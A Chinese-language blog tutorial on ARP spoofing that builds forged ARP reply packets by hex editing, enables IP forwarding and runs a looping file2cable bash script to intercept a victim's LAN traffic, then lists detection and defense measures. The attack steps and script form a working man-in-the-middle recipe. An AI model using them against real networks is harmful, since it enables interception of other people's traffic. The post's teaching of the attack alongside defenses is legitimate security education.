ARP Spoofing 攻与防
ARP Spoofing 攻与防
在内网渗透测试中，ARP Spoofing攻击是Pentester人员的必备技能之一。
本文将简单的介绍一下ARP spoofing (ARP flooding, ARP poisoning or ARP Poison Routing)攻击与防范.
IPv4中的ARP协议在设计之初并没有考虑安全因素.
ARP Spoofing 理论：ARP协议没有提供任何方式检测或验证ARP Reply包,网卡会接收任何ARP Reply包,而 不会去检测是否合法.(交换环境下)
攻击：ARP spoofing
工具：backtrack 4 R1 (OS) 、 wireshark (or tcpdump) 、 file2cable 、 hexedit (or other)
ARP request packet 十六进制 （wireshark 捕捉）
环境：
网关 192.168.1.2 00：0f：66：56：09：cf (c0 a8 01 02)
攻击者 192.168.1.205 00：1b：fc：01：b3：6e (c0 a8 01 cd)
Victim 192.168.1.100 aa：bb：cc：dd：ee：ff (c0 a8 01 64)
(1).构造网关ARP Reply 包
1.将图中ethernet D 改为00：0f：66：56：09：cf （网关）
2.将opcode部分改为00 02
3.将S ipadd 改为c0 a8 01 64 (192.168.1.100)
4.将target mac 改为 00：0f：66：56：09：cf （网关）
(2).构造Victim（肉鸡）ARP Reply 包
只需将网关ARP Reply 包中相应部分修改就OK啦
(3).启用转发 echo 1 > /proc/sys/net/ipv4/ip_forward
(4).攻击脚本 vim arpspoofing.sh
#!/bin/bash
while [ 1 ];do
file2cable -i eth0 -f arp-victim
file2cable -i eth0 -f arp-gateway
sleep 0 #数值控制攻击速度
done
(5).chmod +x arpspoofing.sh && ./arpspoofing.sh
(6).All the Victime packets belong us !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
本次使用的工具最大的特点是可以控制攻击速度（个人认为）.
其他著名ARP Spoofing 工具：
ettercap http://ettercap.sourceforge.net/
cain & abel http://www.oxid.it/cain.html
arpspoof http://monkey.org/~dugsong/dsniff/
arping (linux 内置）
arpoison http://arpoison.sourceforge.net/
更多参考：http://en.wikipedia.org/wiki/ARP_spoofing
防范：ARP Spoofing
注意:由于ARP协议的缺陷绝对防止是不可能的！！！
最有效的方法是找到攻击源干掉她（个人认为）.------------可管理型网络
技术手段：
1.部署NIDS (比如Snort)
2.Port security 、Pvlan
3.基于主机的
目前最有效的要数ARPON http://arpon.sourceforge.net/ （linux only）
linux ：arpwatch
windows：
Xarp http://www.chrismc.de/development/xarp
anti-arpspoof http://sync-io.net/Sec/anti-arpspoof.aspx
antiarp http://www.antiarp.com/english.html
4.以毒攻毒---对攻
本文出自 “漫步Hacking时空” 博客，谢绝转载！